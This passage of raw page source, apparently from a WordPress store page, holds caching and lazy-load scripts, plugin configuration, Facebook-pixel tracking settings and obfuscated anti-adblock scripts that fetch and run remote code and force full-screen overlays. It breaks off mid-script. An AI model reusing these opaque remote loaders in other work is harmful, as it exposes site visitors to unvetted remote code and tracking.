e(n,[{key:"init",value:function(){!this.browser.supportsLinkPrefetch()||this.browser.isDataSaverModeOn()||this.browser.isSlowConnection()||(this.regex={excludeUris:RegExp(this.config.excludeUris,"i"),images:RegExp(".("+this.config.imageExt+")$","i"),fileExt:RegExp(".("+this.config.fileExt+")$","i")},this._initListeners(this))}},{key:"_initListeners",value:function(e){-1<this.config.onHoverDelay&&document.addEventListener("mouseover",e.listener.bind(e),e.listenerOptions),document.addEventListener("mousedown",e.listener.bind(e),e.listenerOptions),document.addEventListener("touchstart",e.listener.bind(e),e.listenerOptions)}},{key:"listener",value:function(e){var t=e.target.closest("a"),n=this._prepareUrl(t);if(null!==n)switch(e.type){case"mousedown":case"touchstart":this._addPrefetchLink(n);break;case"mouseover":this._earlyPrefetch(t,n,"mouseout")}}},{key:"_earlyPrefetch",value:function(t,e,n){var i=this,r=setTimeout(function(){if(r=null,0===i.numOnHover)setTimeout(function(){return i.numOnHover=0},1e3);else if(i.numOnHover>i.config.rateThrottle)return;i.numOnHover++,i._addPrefetchLink(e)},this.config.onHoverDelay);t.addEventListener(n,function e(){t.removeEventListener(n,e,{passive:!0}),null!==r&&(clearTimeout(r),r=null)},{passive:!0})}},{key:"_addPrefetchLink",value:function(i){return this.prefetched.add(i.href),new Promise(function(e,t){var n=document.createElement("link");n.rel="prefetch",n.href=i.href,n.onload=e,n.onerror=t,document.head.appendChild(n)}).catch(function(){})}},{key:"_prepareUrl",value:function(e){if(null===e||"object"!==(void 0===e?"undefined":r(e))||!1 in e||-1===["http:","https:"].indexOf(e.protocol))return null;var t=e.href.substring(0,this.config.siteUrl.length),n=this._getPathname(e.href,t),i={original:e.href,protocol:e.protocol,origin:t,pathname:n,href:t+n};return this._isLinkOk(i)?i:null}},{key:"_getPathname",value:function(e,t){var n=t?e.substring(this.config.siteUrl.length):e;return n.startsWith("/")||(n="/"+n),this._shouldAddTrailingSlash(n)?n+"/":n}},{key:"_shouldAddTrailingSlash",value:function(e){return this.config.usesTrailingSlash&&!e.endsWith("/")&&!this.regex.fileExt.test(e)}},{key:"_isLinkOk",value:function(e){return null!==e&&"object"===(void 0===e?"undefined":r(e))&&(!this.prefetched.has(e.href)&&e.origin===this.config.siteUrl&&-1===e.href.indexOf("?")&&-1===e.href.indexOf("#")&&!this.regex.excludeUris.test(e.href)&&!this.regex.images.test(e.href))}}],[{key:"run",value:function(){"undefined"!=typeof RocketPreloadLinksConfig&&new n(new RocketBrowserCompatibilityChecker({capture:!0,passive:!0}),RocketPreloadLinksConfig).init()}}]),n}();t.run(); 2173}()); 2174 2175//# sourceURL=rocket-preload-links-js-after 2176</script>
vendor: 1 bytes, line 2176
2176
2177<script id="rocket_lazyload_css-js-extra"> 2178var rocket_lazyload_css_data = {"threshold":"300"}; 2179//# sourceURL=rocket_lazyload_css-js-extra 2180</script>
vendor: 1 bytes, line 2180
2180
2181<script id="rocket_lazyload_css-js-after"> 2182!function o(n,a,c){function l(t,e){if(!a[t]){if(!n[t]){var r="function"==typeof require&&require;if(!e&&r)return r(t,!0);if(u)return u(t,!0);throw(e=new Error("Cannot find module '"+t+"'")).code="MODULE_NOT_FOUND",e}r=a[t]={exports:{}},n[t][0].call(r.exports,function(e){return l(n[t][1][e]||e)},r,r.exports,o,n,a,c)}return a[t].exports}for(var u="function"==typeof require&&require,e=0;e<c.length;e++)l(c[e]);return l}({1:[function(e,t,r){{let r="undefined"==typeof rocket_pairs?[]:rocket_pairs,o=(("undefined"==typeof rocket_excluded_pairs?[]:rocket_excluded_pairs).map(t=>{var e=t.selector;document.querySelectorAll(e).forEach(e=>{e.setAttribute("data-rocket-lazy-bg-"+t.hash,"excluded")})}),document.querySelector("#wpr-lazyload-bg-container"));var a=rocket_lazyload_css_data.threshold||300;let n=new IntersectionObserver(e=>{e.forEach(t=>{t.isIntersecting&&r.filter(e=>t.target.matches(e.selector)).map(t=>{var e;t&&((e=document.createElement("style")).textContent=t.style,o.insertAdjacentElement("afterend",e),t.elements.forEach(e=>{n.unobserve(e),e.setAttribute("data-rocket-lazy-bg-"+t.hash,"loaded")}))})})},{rootMargin:a+"px"});function c(){0<(0<arguments.length&&void 0!==arguments[0]?arguments[0]:[]).length&&r.forEach(t=>{try{document.querySelectorAll(t.selector).forEach(e=>{"loaded"!==e.getAttribute("data-rocket-lazy-bg-"+t.hash)&&"excluded"!==e.getAttribute("data-rocket-lazy-bg-"+t.hash)&&(n.observe(e),(t.elements||=[]).push(e))})}catch(e){console.error(e)}})}c(),(()=>{let r=window.MutationObserver;return function(e,t){if(e&&1===e.nodeType)return(t=new r(t)).observe(e,{attributes:!0,childList:!0,subtree:!0}),t}})()(document.querySelector("body"),c)}},{}]},{},[1]); 2183//# sourceURL=rocket_lazyload_css-js-after 2184</script>
vendor: 1 bytes, line 2184
2184
2185<script type="text/rocketlazyloadscript" id="generate-menu-js-before"> 2186var generatepressMenu = {"toggleOpenedSubMenus":true,"openSubMenuLabel":"Open Sub-Menu","closeSubMenuLabel":"Close Sub-Menu"}; 2187//# sourceURL=generate-menu-js-before 2188</script>
vendor: 1 bytes, line 2188
2188
2189<script type="text/rocketlazyloadscript" id="generate-menu-js" data-rocket-src="https://grammarist.com/wp-content/themes/generatepress/assets/js/menu.min.js?ver=3.6.1"></script>
vendor: 1 bytes, line 2189
2189
2190<script type="text/rocketlazyloadscript" data-minify="1" id="generate-modal-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/themes/generatepress/assets/dist/modal.js?ver=1789058374"></script>
vendor: 1 bytes, line 2190
2190
2191<script type="text/rocketlazyloadscript" id="learndash-main-ns-extra"> 2192window.learndash = window.learndash || {}; 2193window.learndash.global = Object.assign(window.learndash.global || {}, {"ajaxurl":"https:\/\/grammarist.com\/wp-admin\/admin-ajax.php","scrollOffset":0}); 2194</script>
2194<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-main-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/src/assets/dist/js/main.js?ver=1789058374"></script>
vendor: 1 bytes, line 2194
2194
2195<script type="text/rocketlazyloadscript" id="learndash-breakpoints-ns-extra"> 2196window.learndash = window.learndash || {}; 2197window.learndash.views = window.learndash.views || {}; 2198window.learndash.views.breakpoints = Object.assign(window.learndash.views.breakpoints || {}, {"list":{"mobile":375,"tablet":420,"extra-small":600,"small":720,"medium":960,"large":1240,"wide":1440}}); 2199</script>
2199<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-breakpoints-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/src/assets/dist/js/breakpoints.js?ver=1789058374"></script>
vendor: 1 bytes, line 2199
2199
2200<script id="learndash-front-js-extra"> 2201var ldVars = {"postID":"108520","videoReqMsg":"You must watch the video before accessing this content","ajaxurl":"https://grammarist.com/wp-admin/admin-ajax.php"}; 2202//# sourceURL=learndash-front-js-extra 2203</script>
vendor: 1 bytes, line 2203
2203
2204<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-front-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/themes/ld30/assets/js/learndash.js?ver=1789058374"></script>
vendor: 1 bytes, line 2204
2204
2205<script id="quicktags-js-extra"> 2206var quicktagsL10n = {"closeAllOpenTags":"Close all open tags","closeTags":"close tags","enterURL":"Enter the URL","enterImageURL":"Enter the URL of the image","enterImageDescription":"Enter a description of the image","textdirection":"text direction","toggleTextdirection":"Switch Editor Text Direction","dfw":"Distraction-free writing mode","strong":"Bold","strongClose":"Close bold tag","em":"Italic","emClose":"Close italic tag","link":"Insert link","blockquote":"Blockquote","blockquoteClose":"Close blockquote tag","del":"Deleted text (strikethrough)","delClose":"Close deleted text tag","ins":"Inserted text","insClose":"Close inserted text tag","image":"Insert image","ul":"Bulleted list","ulClose":"Close bulleted list tag","ol":"Numbered list","olClose":"Close numbered list tag","li":"List item","liClose":"Close list item tag","code":"Code","codeClose":"Close code tag","more":"Insert Read More tag"}; 2207//# sourceURL=quicktags-js-extra 2208</script>
vendor: 1 bytes, line 2208
2208
2209<script type="text/rocketlazyloadscript" id="quicktags-js" data-rocket-src="https://grammarist.com/wp-includes/js/quicktags.min.js?ver=d60663a2436bce0587bbd7bc429f1221"></script>
vendor: 1 bytes, line 2209
2209
2210<script id="convertkit-admin-quicktags-js-extra"> 2211var convertkit_quicktags = {"broadcasts":{"title":"Kit Broadcasts","icon":"resources/backend/images/block-icon-broadcasts.svg","attributes":{"display_grid":{"type":"boolean","default":false},"display_order":{"type":"string","default":"date-broadcast"},"date_format":{"type":"string","default":"F j, Y"},"display_image":{"type":"boolean","default":false},"display_description":{"type":"boolean","default":false},"display_read_more":{"type":"boolean","default":false},"read_more_label":{"type":"string","default":"Read more"},"limit":{"type":"number","default":10},"page":{"type":"number","default":1},"paginate":{"type":"boolean","default":false},"paginate_label_prev":{"type":"string","default":"Previous"},"paginate_label_next":{"type":"string","default":"Next"},"style":{"type":"object"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"fontSize":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]},"content":{"title":"Kit Custom Content","icon":"resources/backend/images/block-icon-content.svg","attributes":{"tag":{"type":"string"}},"render_callback":[{},"render"]},"formtrigger":{"title":"Kit Form Trigger","icon":"resources/backend/images/block-icon-formtrigger.svg","attributes":{"form":{"type":"string","default":""},"text":{"type":"string","default":"Subscribe"},"style":{"type":"object"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"fontSize":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]},"form":{"title":"Kit Form","icon":"resources/backend/images/block-icon-form.svg","attributes":{"form":{"type":"string"},"align":{"type":"string"},"style":{"type":"object"},"backgroundColor":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]},"login":{"title":"Kit Member Content Login","icon":"resources/backend/images/block-icon-login.svg","attributes":{"logged_in_text":{"type":"string","default":"You are logged in."},"logout_button_label":{"type":"string","default":"Log out"},"style":{"type":"object"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"fontSize":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]},"product":{"title":"Kit Product","icon":"resources/backend/images/block-icon-product.svg","attributes":{"product":{"type":"string","default":""},"text":{"type":"string","default":"Buy my product"},"discount_code":{"type":"string","default":""},"checkout":{"type":"boolean","default":false},"disable_modal_on_mobile":{"type":"boolean","default":false},"style":{"type":"object"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"fontSize":{"type":"string"},"is_gutenberg_example":{"type":"boolean","default":false}},"render_callback":[{},"render"]}}; 2212var convertkit_admin_tinymce = {"ajaxurl":"https://grammarist.com/wp-json/kit/v1/editor/tinymce/modal","nonce":"625323a4ee"}; 2213//# sourceURL=convertkit-admin-quicktags-js-extra 2214</script>
vendor: 1 bytes, line 2214
2214
2215<script type="text/rocketlazyloadscript" data-minify="1" id="convertkit-admin-quicktags-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/convertkit/resources/backend/js/quicktags.js?ver=1789058374"></script>
vendor: 1 bytes, line 2215
2215
2216<script type="text/rocketlazyloadscript" id="jquery-bind-first-js" defer data-rocket-src="https://grammarist.com/wp-content/plugins/pixelyoursite/dist/scripts/jquery.bind-first-0.2.3.min.js?ver=0.2.3"></script>
vendor: 1 bytes, line 2216
2216
2217<script type="text/rocketlazyloadscript" id="js-cookie-pys-js" defer data-rocket-src="https://grammarist.com/wp-content/plugins/pixelyoursite/dist/scripts/js.cookie-2.1.3.min.js?ver=2.1.3"></script>
vendor: 1 bytes, line 2217
2217
2218<script type="text/rocketlazyloadscript" data-minify="1" id="js-sha256-js" defer data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/pixelyoursite/dist/scripts/sha256.js?ver=1789058374"></script>
vendor: 1 bytes, line 2218
2218
2219<script type="text/rocketlazyloadscript" id="js-tld-js" defer data-rocket-src="https://grammarist.com/wp-content/plugins/pixelyoursite/dist/scripts/tld.min.js?ver=2.3.1"></script>
vendor: 1 bytes, line 2219
2219
2220<script id="pys-js-extra"> 2221var pysOptions = {"staticEvents":{"facebook":{"init_event":[{"delay":0,"type":"static","ajaxFire":false,"name":"PageView","pixelIds":["1141131243559645"],"eventID":"f0f81be0-f960-48e4-9031-24b37685948f","params":{"page_title":"Shop","post_type":"page","post_id":108520,"plugin":"PixelYourSite","user_role":"guest","event_url":"grammarist.com/store/"},"e_id":"init_event","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":"","order_key":""}]}},"dynamicEvents":[],"triggerEvents":[],"triggerEventTypes":[],"facebook":{"pixelIds":["1141131243559645"],"advancedMatching":{"external_id":"ffdeefbcebbabffbbee"},"advancedMatchingEnabled":true,"removeMetadata":false,"wooVariableAsSimple":false,"serverApiEnabled":true,"metaEnabledCapiPixels":["1141131243559645"],"sendEventId":true,"send_external_id":null,"enabled_medical":false,"do_not_track_medical_param":["event_url","post_title","page_title","landing_page","content_name","categories","category_name","tags"],"meta_ldu":false},"debug":"","siteUrl":"https://grammarist.com","ajaxUrl":"https://grammarist.com/wp-admin/admin-ajax.php","ajax_event":"563e60e453","enable_remove_download_url_param":"1","cookie_duration":"7","last_visit_duration":"60","enable_success_send_form":"","ajaxForServerEvent":"1","ajaxForServerStaticEvent":"1","useSendBeacon":"1","send_external_id":"1","external_id_expire":"180","track_cookie_for_subdomains":"1","google_consent_mode":"1","consent_mode_cmp_active":"","gdpr":{"ajax_enabled":false,"all_disabled_by_api":false,"facebook_disabled_by_api":false,"analytics_disabled_by_api":false,"google_ads_disabled_by_api":false,"pinterest_disabled_by_api":false,"bing_disabled_by_api":false,"reddit_disabled_by_api":false,"openai_disabled_by_api":false,"externalID_disabled_by_api":false,"facebook_prior_consent_enabled":true,"analytics_prior_consent_enabled":true,"google_ads_prior_consent_enabled":null,"pinterest_prior_consent_enabled":true,"bing_prior_consent_enabled":true,"openai_prior_consent_enabled":true,"cookiebot_integration_enabled":false,"cookiebot_facebook_consent_category":"marketing","cookiebot_analytics_consent_category":"statistics","cookiebot_tiktok_consent_category":"marketing","cookiebot_google_ads_consent_category":"marketing","cookiebot_pinterest_consent_category":"marketing","cookiebot_bing_consent_category":"marketing","cookiebot_openai_consent_category":"marketing","consent_magic_integration_enabled":false,"real_cookie_banner_integration_enabled":false,"cookie_notice_integration_enabled":false,"cookie_law_info_integration_enabled":false,"analytics_storage":{"enabled":true,"value":"granted","filter":false},"ad_storage":{"enabled":true,"value":"granted","filter":false},"ad_user_data":{"enabled":true,"value":"granted","filter":false},"ad_personalization":{"enabled":true,"value":"granted","filter":false}},"cookie":{"disabled_all_cookie":false,"disabled_start_session_cookie":false,"disabled_advanced_form_data_cookie":false,"disabled_landing_page_cookie":false,"disabled_first_visit_cookie":false,"disabled_trafficsource_cookie":false,"disabled_utmTerms_cookie":false,"disabled_utmId_cookie":false},"tracking_analytics":{"TrafficLanding":"","TrafficUtms":[],"TrafficUtmsId":[]},"GATags":{"ga_datalayer_type":"default","ga_datalayer_name":"dataLayerPYS"},"woo":{"enabled":false},"edd":{"enabled":false},"cache_bypass":"1790203791"}; 2222//# sourceURL=pys-js-extra 2223</script>
vendor: 1 bytes, line 2223
2223
2224<script type="text/rocketlazyloadscript" data-minify="1" id="pys-js" defer data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/pixelyoursite/dist/scripts/public.js?ver=1789058374"></script>
2224 2225
2225<script type="text/template" id="tmpl-convertkit-quicktags-modal"> 2226 <div id="convertkit-quicktags-modal"> 2227 <div class="media-frame-title"><h1></h1></div> 2228 <div class="media-frame-content"></div> 2229 <div class="media-frame-toolbar"> 2230 <div class="media-toolbar"> 2231 <div class="media-toolbar-secondary"> 2232 <button type="button" class="button button-large cancel">Cancel</button> 2233 </div> 2234 <div class="media-toolbar-primary"> 2235 <button type="button" class="button button-primary button-large">Insert</button> 2236 </div> 2237 </div> 2238 </div> 2239 </div> 2240 </script>
2240 2241
2241<script type="application/json" fncls="fnparams-dede7cc5-15fd-4c75-a9f4-36c430ee3a99"> 2242 {"f":"f97fb4342b18412b97098bfdd0c9e36e","s":"_108520","sandbox":false}</script>
2242 2243<div style="position:absolute;margin:-1px;padding:0;height:1px;width:1px;overflow:hidden;clip-path:inset(50%);border:0;word-wrap:normal !important;"><p id="a11y-speak-intro-text" class="a11y-speak-intro-text" hidden>Notifications</p><div id="a11y-speak-assertive" class="a11y-speak-region" aria-live="assertive" aria-relevant="additions text" aria-atomic="true"></div><div id="a11y-speak-polite" class="a11y-speak-region" aria-live="polite" aria-relevant="additions text" aria-atomic="true"></div></div>
2243<script data-no-optimize='1' data-cfasync='false' id='adblock-detection-cbeddd4'>(function(){(function(e){if(e.cookie.indexOf(`__adblocker`)===-1){let t=!1,n=function(){t=!0};window.addEventListener(`pagehide`,n);let r=navigator.userAgent,i=/AppleWebKit/.test(r)&&!/Chrome/.test(r)||/\b(iPad|iPhone|iPod)\b/.test(r),a=new XMLHttpRequest;a.open(`GET`,`https://ads.adthrive.com/abd/abd.js`,!0),a.onreadystatechange=function(){if(a.readyState===4){if(window.removeEventListener(`pagehide`,n),a.status===200){let t=e.createElement(`script`);t.innerHTML=a.responseText,e.getElementsByTagName(`head`)[0].appendChild(t);return}if(!navigator.onLine||t||i&&e.visibilityState===`hidden`)return;let r=new Date;r.setTime(r.getTime()+300*1e3),e.cookie=`__adblocker=true; expires=`+r.toUTCString()+`; path=/`}},a.send()}})(document)})();</script>
2243<script data-no-optimize='1' data-cfasync='false' data-abr-mode='light' id='adblock-recovery-cbeddd4'>(function(){(function(){var e=document.currentScript,t=e&&e.dataset&&e.dataset.abrMode?e.dataset.abrMode:`light`;function n(){var e=document.cookie.match(`(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)`);return e&&e.pop()}function r(){var e=document.createElement(`script`);e.async=!0,e.id=`Tqgkgu`,e.setAttribute(`data-sdk`,`l/1.1.15`),e.setAttribute(`data-cfasync`,`false`),e.src=`https://html-load.com/loader.min.js`,e.charset=`UTF-8`,e.setAttribute(`data`,`kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8`),e.setAttribute(`onload`,`(async()=>{let e='html-'+'load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();`),e.setAttribute(`onerror`,`(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();`),document.head.appendChild(e);var t=document.createElement(`script`);t.setAttribute(`data-cfasync`,`false`),t.setAttribute(`nowprocket`,``),t.textContent=`(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() }
2243 catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();`,document.head.appendChild(t)}function i(){var e=document.createElement(`script`);e.setAttribute(`data-cfasync`,`false`),e.dataset.domain=`html-load.cc`,e.textContent=`(function(){function p(){const X=['W64nwmoJW7hdK8kjW7BcUMu','W60xWQxcMW','WRabWRBcHq','W7fJWRm/','xmoZvmkR','W6BdLSo8Aq','W59mcrC','qdZdImop','WQuUq0S','W5WQW4FdLW','pCkHygO','WPHguSoy','W6tcGaHl','qN/dRSkS','W4b6WO0','W4fucuW','W4tdNSoVeq','W5pcISoUwq','aa0ywq','amkvhuu','mZhcMmkm','WOm3WOKv','WRVcH8kkwmoJBCoXW5/cMq','x8kPW57dTG','mSo9se8','EIvxoW','W51ihf8','WRexWQFcJG','g3BdPCox','cWSCrq','W6L+WQ1G','mCkIBMS','W5WIW4JdISkVW5BdRCkPnCku','W7rtW7JcNG','WORcSWu','W5hdR8o0W4y','nSkKW6NdVW','jqBcUXO','ax7cMa','W6iex8oZjCk9W45Utq','WPPqv8oz','W6zsWQhcRa','W4JdHmk1bG','sSo9q8kS','kItcN1O','W4tdN8kSfW','WQ5Aa8k0','W5mgdvW','kYhcVIK','fmozW7a/','W6n9WQvR','W7b1WQ5X','WRizWPW','hSkGW43dKa','W6OgvSoJW4hdUSkWW4dcGKa','aHSvBa','WP8SWOGi','rmkkqH3cM23cPSoHW7xcOq','WO7cI0ZcKa','W4ZdH8kHW4e','WRldMLuoWRqlFSkYr8o+W4pdGG','jH3cRmkA','A8k6c2FdS2tdSuldSW','oY3cGWe','W6FdNmoqCq','c2dcLwy','v2ubWOC','o8oju8og','W4xdLSkYwq','WRfEW6NdHG','W78yW6BcRa','nmovW60S','WOhcQSkWWPPqB2tdUaPvC8o/','WO3dG8kPhW','W47dKCk2','a8kTW4tcSa','WOvmaSop','dwdcJNK','WRnnW69a','sNFdRG','WOrwwCow','WRewWQu','o1BcPCkx','tCo7DmkP','WQObWQFcJq','jWVdSLG','z8o0mem0lYJcT8kq','W4hcTbpdGG','a8kNW7ZdKq','pcxcJCkr','xCkWuSkM','WPGsrq4qWQz2s8oPW6RdPW','fCkGW4i','WOqDwHPcW4KGWOJcJW','CSkWz2u','WOS/W4/dNa','xdddQmop','WQ/dMSojW58','WPXru8of','pvZcS8oEkaVdLgbvlMK','W7nrW7lcVJRdUYVcTvO','WP5dwSof','WO9qsmoh','W4ebdSkkamkLrZCvW5mDFG','wMOrWOm','udJdUCoc','vNCgWOm','mCkNqgy','W7/dR8kGbq','m8kKW7m','W5ZcNCk+W5i','WQ0cWOLG','W7FcVCooca','CCo0WRpdNeryoCk4lW','zv/cPmks','cwNdJCog','rNxdVSk6','WRjrW5a9','W79lW69f','W5T2W4Tq','ue9ieCowrwlcUMpdUNDw','W4BdNSk3','xSkQW6VdJa','pN8jWPG','nmoTyge','E1RcPe/cVZ3cOCk4W4tdTq','umo7xCkH','n27cMSki','W5RdJW/dG3ZdOCowW4lcNJhdUW','qCo8WO7dQ8kuWR8QW4Gusqa','a8ofzCoE','EwpcIJddHrTkW7u','gSkveua','pdxcGCki','e8k8W5pcUa','es7cHSkD','WOHdwCoh','W6JcMGvy','W5NdIq7dHNJcPSoMW4dcKJVdL3e','W69+W69S','i8kQWQNdQa','W6WyWONdHq','WP/cVHTX','WRLEWRqy','ib7dOGy','W73cN8oQW5xcGCkXWOJcHW','xZlcNCoTWQldGX0MiG','EWpdSSolW7HaW4b5jhBdQCkC','W5FdUCoOWOC','xSkKW4u'];p=function(){return X;};return p();}function m(M,v){M=M-(0x1*-0x434+0x530+0xf);const y=p();let z=y[M];if(m['XTFFmC']===undefined){var d=function(Z){const D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let a='',Q='';for(let i=-0x1*-0x6ff+-0x2392+0x1c93,O,w,b=0x1*0x17b+-0xe3d+0xcc2*0x1;w=Z['charAt'](b++);~w&&(O=i%(-0x1b*-0x104+-0x1*0x1d12+-0xd5*-0x2)?O*(0x6*0x5+0xa9*-0x2c+-0x33e*-0x9)+w:w,i++%(0x1*0x1f8d+-0x3*-0x7cd+-0x36f0))?a+=String['fromCharCode'](-0x1*-0xd77+-0x1dad+0x1135&O>>(-(0x275+0x14aa+0x3d*-0x61)*i&-0x6*-0x250+0x1c28+-0x2a02)):0xb*0x185+0x1be9*0x1+-0x2ca0){w=D['indexOf'](w);}for(let f=-0xc76+0xfe2+-0xdb*0x4,X=a['length'];f<X;f++){Q+='%'+('00'+a['charCodeAt'](f)['toString'](0x25b9+-0x15ee+-0x1*0xfbb))['slice'](-(-0x1e51+0x5c4+0x188f));}return decodeURIComponent(Q);};const s=function(Z,D){let a=[],k=0x1d2f+0x1cc9+-0x1a8*0x23,Q,O='';Z=d(Z);let 